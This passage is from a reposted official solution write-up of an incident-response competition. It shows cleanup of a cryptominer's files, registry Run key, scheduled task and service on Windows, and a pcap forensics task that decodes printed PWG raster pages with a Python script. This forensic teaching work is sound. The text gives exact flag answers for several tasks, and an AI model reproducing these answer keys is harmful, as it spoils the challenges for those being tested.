既然知道了属性构成,对症下药解除即可,输入:attrib -s -h -r "%APPDATA%\Microsoft\Windows\Update\*.*" /s /d。拆解一下这条命令:-s -h -r分别去除系统、隐藏、只读属性;"%APPDATA%\Microsoft\Windows\Update\*.*"是目标路径,其中%APPDATA%是环境变量,等价于C:\Users\Administrator\AppData\Roaming,*.*通配目录下所有文件;末尾的/s表示递归处理子目录、/d表示同时处理目录本身。执行完再回资源管理器刷新,两个 exe 就都显形了。

执行 attrib -s -h -r 后,目录中 4 个文件全部正常显示

文件本体到手,开始计算 MD5。在本机计算文件 MD5 哈希的方法之一,是打开 PowerShell 输入命令:Get-FileHash -Algorithm MD5 "C:\路径\到你的\file.exe"Get-FileHash是 PowerShell 自带的哈希计算 cmdlet,无需安装任何第三方工具,Algorithm参数还支持 SHA1、SHA256 等算法。顺便解释下为什么要算哈希:MD5 值相当于文件的"指纹",同一文件全球唯一(这里不展开抗碰撞问题),应急响应中用它做样本的精准标识和情报匹配,把哈希丢到微步、VT 等威胁情报平台就能立刻知道这个样本有没有被标记过。

PowerShell 执行 Get-FileHash 计算 sysupdate.exe 的 MD5,结果为 5681DF140337A9B736CF8C62DFAC98FC

故本题flag为:flag{5681DF140337A9B736CF8C62DFAC98FC}

补充一句:正常来讲哈希值大小写都可以,本质只是十六进制字符的表示习惯,但是平台键入的 flag 为大写,题目中没有标注这一点,确实是出题人(州弟学安全)考虑不周的地方,做题时如果遇到大小写校验不过的情况,换个大小写再交即可。

任务七:终止挖矿程序及其守护进程,完成后在桌面 flag 目录下读取 1.txt 中的 flag 并提交

溯源信息拿齐了,开始处置清除。第一步是结束进程,但顺序很有讲究:必须先杀守护进程,再杀挖矿主程序。本题中的守护进程是 sysguard.exe,它的职责是实时监控挖矿主程序 sysupdate.exe 的运行状态,一旦检测到主程序没在运行(比如被杀掉、崩溃),就会立刻把它重新拉起来,这也是"守护"二字的由来,是挖矿木马保证自己"杀不死"的惯用手段。如果顺序搞反先杀 sysupdate.exe,大概率几秒钟后它就被 sysguard.exe 复活了,白忙一场。打开任务管理器,先找到 sysguard.exe 结束任务(注意可能有多个同名进程,全部结束),再结束 sysupdate.exe。

结束进程后读取桌面 flag 目录下 1.txt 中的 flag

结束进程后,在桌面下的 flag 目录读取 1.txt 中的 flag(本题靶场的检测机制是:完成对应处置动作后,flag 文件才会生成/更新,所以每一步清完记得回去看一眼)。

本题flag为:flag{4249be0e3fefcb5ebebc40cb30d49f8e}

任务八:删除挖矿主程序与守护进程对应的程序文件,完成后读取 2.txt 中的 flag 并提交

进程已经停止,文件不再被占用,这时前往C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Update目录,删除 sysupdate.exe 和 sysguard.exe 两个程序文件。顺序上之所以先停进程再删文件,是因为 Windows 下正在运行的程序文件会被系统锁定,直接删除会报"文件正在使用",而且不杀守护进程的话,删掉的文件也可能被它从别处恢复。删除后在桌面下的 flag 目录获取 2.txt 中的 flag。

删除两个 exe 后 Update 目录仅剩配置与日志文件,读取 2.txt 中的 flag

本题flag为:flag{3e5af0e0d8de0a1856a693ac353d1517}

任务九:清除挖矿程序写入的注册表自启动项,完成后读取 3.txt 中的 flag 并提交

文件删了不代表万事大吉,挖矿木马为了能开机复活,几乎必然做了权限维持,注册表自启动项是最经典的一种。这里就要用到桌面工具目录中的 Autoruns64 了。简单介绍一下:Autoruns 是微软 Sysinternals 套件中的自启动项审计工具(64 位系统用 Autoruns64.exe),它能把系统里所有"开机/登录自动运行"的位置一网打尽:注册表 Run 键、启动文件夹、计划任务、服务、驱动、Winlogon 劫持等等,比系统自带的 msconfig 全面得多,是应急排查权限维持的标配。打开后直接在上方搜索框搜索sysguard或者sysupdate关键词(即前面确认的恶意程序名,看是哪个程序被写了自启动),快速定位相关条目。

Autoruns 搜索 sysguard,Logon 分类下命中 HKCU 与 HKLM 两处 Run 键中的 WindowsUpdateHelper 项(黄色高亮)

搜索结果中,Logon(登录自启动)分类下命中了名为 WindowsUpdateHelper 的条目,它写在HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run下。这里补充背景知识:注册表的...\CurrentVersion\Run键是 Windows 用户登录后自动执行程序的位置,HKCU(当前用户)下的只对当前用户生效,HKLM(本机)下的对所有用户生效,两者都是木马和正常软件都爱用的自启动点;条目名 WindowsUpdateHelper 同样是在蹭"Windows 更新"的伪装命名。在 Autoruns 中右键该条目选择 Delete 即可清除(也可以记下路径去注册表编辑器 regedit 里手动删,效果一样)。清除后获取桌面 flag 目录下 3.txt 中的 flag。

右键 HKCU Run 键下的 WindowsUpdateHelper 条目,选择 Delete 删除

删除后读取 3.txt 中的 flag

本题flag:flag{a32b7d2b1505d66bc919e27a0ac24a9d}

任务十:删除挖矿程序创建的计划任务,完成后读取 4.txt 中的 flag 并提交

计划任务(Scheduled Task)是权限维持的第二种常见手法:攻击者创建的任务可以在指定时间、指定事件(如开机、登录、每隔几分钟)自动触发执行恶意程序,比 Run 键更灵活也更隐蔽。还是继续在 Autoruns64 里处理,切到 Scheduled Tasks 分类(或直接沿用刚才的搜索结果),找到木马创建的\Microsoft\Windows\Update\UpdateTask任务:路径同样伪装成系统更新相关,右键 Delete 删除,即可获取桌面下的 4.txt 中的 flag。如果不习惯用 Autoruns,也可以打开系统自带的"任务计划程序"(taskschd.msc)在任务计划程序库里找到同名任务删除,两条路殊途同归。

Autoruns 的 Scheduled Tasks 分类下找到计划任务 \Microsoft\Windows\Update\UpdateTask(黄色高亮),旁边为系统自带的任务计划程序

删除计划任务后读取 4.txt 中的 flag

本题flag为:flag{2329d57242e18c42cea938e9f055d37b}

任务十一:删除挖矿程序安装的系统服务,完成后读取 5.txt 中的 flag 并提交

最后一种权限维持手法是系统服务:攻击者把恶意程序注册为 Windows 服务,由服务控制管理器(SCM)随系统启动自动拉起,稳定且权限高,而且混在上百个系统服务里不细看很难发现。服务在注册表中的落地位置是HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services下,每个服务对应一个子键。继续用 Autoruns64 切到 Services 分类,找到木马安装的 WindowsUpdateHelperSvc 服务(名字依旧伪装成 Windows 更新组件),右键 Delete 删除即可,之后查看桌面下 5.txt 中的 flag。同理,也可以用sc delete 服务名命令或服务管理器(services.msc)完成删除。

Autoruns 的 Services 分类下右键 WindowsUpdateHelperSvc 选择 Delete(对应注册表 HKLM\SYSTEM\CurrentControlSet\Services 下的同名服务)

删除恶意服务后读取 5.txt 中的 flag

本题flag为:flag{43526de4594018e3c574b03cd1f64a22}

至此,本次事件完成闭环:从端口暴露面发现、日志溯源定位爆破时间与入口、内网穿透配置取证,到挖矿样本提取、配置解析、哈希固定,最后按"杀守护进程→杀主程序→删文件→清自启动→清计划任务→清服务"的顺序逐层拆除木马的全部生存链条。这个处置顺序在实战中是通用的:先断复活能力,再清本体,最后打扫持久化痕迹,一步顺序错了都可能前功尽弃。

另外最后提醒一句,本题的根因是那台 frp 中转服务器和隧道配置,实战中除了清理本机木马,务必同步处置:关闭 frpc 进程并删除程序与配置、收回公网服务器的映射端口、修改被撞库的 RDP 口令并排查账户体系,否则清理得再干净,暴露面还在,攻击者随时可以卷土重来。

airprint

在打印机中,有什么是可以进行溯源的呢

Wp

完整解题链:

PCAPNG
  ↓
mDNS / DNS-SD:找当前有效的 _ipps._tcp 财务打印机
  ↓
PCAPNG DSB:自动解密 TLS 1.3
  ↓
HTTP POST + IPP:整理每个打印作业的最终状态
  ↓
锁定当前财务打印机上的 completed 作业
  ↓
从 Send-Document 提取 image/pwg-raster
  ↓
解码 PWG Raster 页面
  ↓
扫描二维码并按 PART 编号拼接 flag

有一个附件,没有额外的 sslkeylog.log。原因是 TLS 会话密钥已经放进 PCAPNG 的 Decryption Secrets Block,简称 DSB。

DSB 是抓包文件的元数据,不是网络中传输的明文。其作用可以理解为:

抓到的 TLS records + 同一文件中的会话流量密钥 → Wireshark 可以还原 HTTP/IPP

本题 DSB 的 Block Type 是 0x0000000A,Secrets Type 是 0x544C534B,即 TLSK。PCAPNG 规范定义 DSB 用于存放解密抓包所需的会话密钥,并定义了 TLS Key Log secrets type。

Apple 打印 TXT 字段

TXT key含义
txtvers=1
TXT 字段版本
rp=ipp/secure-print
IPP 队列资源路径,开头不能带 /
pdl=image/pwg-raster
支持的页面描述/文档 MIME 类型
ty=...
打印机型号描述
product=(...)
产品字符串
Color=T
支持彩色
Duplex=T
支持双面
TLS=1.3
宣告的最高 TLS 版本
UUID=...
打印服务唯一标识

IPP 二进制消息结构

IPP 不是 JSON,也不是纯文本。一个请求或响应大致为:
2 bytes  version
2 bytes  operation-id(请求)或 status-code(响应)
4 bytes  request-id
n bytes  attribute groups
1 byte   end-of-attributes-tag
q bytes  optional document data
operation-id操作作用
0x0005
Create-Job
创建作业,服务器返回 job-id/job-uri
0x0006
Send-Document
向已有作业发送文档
0x0008
Cancel-Job
取消作业
0x0009
Get-Job-Attributes
查询作业当前或最终状态
0x000b
Get-Printer-Attributes
查询打印机能力

IPP 作业状态机

数值名称含义
3
pending
等待处理
4
pending-held
暂停等待
5
processing
正在处理
6
processing-stopped
处理暂时停止
7
canceled
被取消,终态
8
aborted
异常终止,终态
9
completed
已完成,终态

Exp:

import argparse
import shutil
import struct
import subprocess
from pathlib import Path
from typing import List

from PIL import Image, ImageOps

PWG_MAGIC = b"RaS2"
PWG_PAGE_HEADER_SIZE = 512
PWG_COLOR_ORDER_CHUNKY = 0
PWG_COLOR_SPACE_SRGB = 1
PWG_COLOR_SPACE_SGRAY = 19


def decode_color_runs(data: bytes, offset: int, width: int) -> (bytes, int):
    pixels = width * 3
    row = bytearray()
    while len(row) < pixels:
        if offset >= len(data):
            raise ValueError("truncated color run data")
        length = data[offset] + 1
        offset += 1
        needed = pixels - len(row)
        length = min(length, needed)
        if offset + 3 > len(data):
            raise ValueError("truncated color run pixel")
        row.extend(data[offset : offset + 3] * length)
        offset += 3
    return bytes(row[:pixels]), offset


def apply_storage_transform(image: Image.Image, cross: int, feed: int) -> Image.Image:
    stored = image
    if cross == -1:
        stored = ImageOps.mirror(stored)
    if feed == -1:
        stored = ImageOps.flip(stored)
    return stored

def decode_pwg_raster(data: bytes) -> List[Image.Image]:
    if not data.startswith(PWG_MAGIC):
        raise ValueError("missing PWG Raster RaS2 magic")
    offset = 4
    pages: List[Image.Image] = []
    while offset < len(data):
        if len(data) - offset < PWG_PAGE_HEADER_SIZE:
            break
        header = data[offset : offset + PWG_PAGE_HEADER_SIZE]
        offset += PWG_PAGE_HEADER_SIZE
        if not header.startswith(b"PwgRaster\x00"):
            break
        width = struct.unpack(">I", header[372:376])[0]
        height = struct.unpack(">I", header[376:380])[0]
        bits_per_pixel = struct.unpack(">I", header[388:392])[0]
        color_order = struct.unpack(">I", header[396:400])[0]
        color_space = struct.unpack(">I", header[400:404])[0]
        cross = struct.unpack(">i", header[456:460])[0]
        feed = struct.unpack(">i", header[460:464])[0]
        if (
            bits_per_pixel != 24
            or color_order != PWG_COLOR_ORDER_CHUNKY
            or color_space not in (PWG_COLOR_SPACE_SRGB, PWG_COLOR_SPACE_SGRAY)
        ):
            raise ValueError("validator only supports generated sRGB_8 pages")
        rows: List[bytes] = []
        while len(rows) < height:
            if offset >= len(data):
                break
            repeat = data[offset] + 1
            offset += 1
            row, offset = decode_color_runs(data, offset, width)
            rows.extend([row] * repeat)
        if len(rows) > height:
            rows = rows[:height]
        elif len(rows) < height:
            # Pad with blank rows
            blank = b"\xff" * (width * 3)
            rows.extend([blank] * (height - len(rows)))
        stored = Image.frombytes("RGB", (width, height), b"".join(rows))
        logical = apply_storage_transform(stored, cross, feed)
        pages.append(logical)
    return pages

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("capture", type=Path)
    parser.add_argument("output_dir", type=Path)
    parser.add_argument("--tshark", default="")
    args = parser.parse_args()

    tshark = args.tshark or shutil.which("tshark")
    if not tshark:
        raise SystemExit("tshark not found; pass --tshark with its full path")

    command = [
        tshark,
        "-r",
        str(args.capture),
        "-Y",
        "ipp.operation_id == 0x0006 && data.data[0:4] == 52:61:53:32",
        "-T",
        "fields",
        "-E",
        "separator=\t",
        "-e",
        "frame.number",
        "-e",
        "data.data",
    ]
    result = subprocess.run(
        command,
        check=True,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        text=True,
        encoding="utf-8",
        errors="replace",
    )
    args.output_dir.mkdir(parents=True, exist_ok=True)
    document_count = 0
    page_count = 0
    for line in result.stdout.splitlines():
        if not line.strip():
            continue
        frame_number, hex_data = line.split("\t"1)
        raster = bytes.fromhex(hex_data)
        pages = decode_pwg_raster(raster)
        document_count += 1
        for page_index, page in enumerate(pages, start=1):
            page_count += 1
            filename = (
                f"document_{document_count:02d}_frame_{frame_number}"
                f"_page_{page_index:02d}.png"
            )
            page.save(args.output_dir / filename)

    if document_count == 0:
        raise SystemExit("no decrypted Send-Document PWG Raster payloads found")
    print(
        f"Extracted {document_count} PWG Raster documents / "
        f"{page_count} pages to {args.output_dir}"
    )


if __name__ == "__main__":
    main()

扫描即可。

5.题目投票

请选择您心中最具实战价值且最具创新突破的题目(可多选)



转载声明:本文转载自原发布平台 (作者:solar应急响应团队), 原文标题《2026-7月Solar应急响应公益月赛排名及官方题解》, 查看原文。 版权归原作者及原发布平台所有,本站仅作收录与展示,未对正文内容作实质性修改; 若涉及侵权请联系本站处理。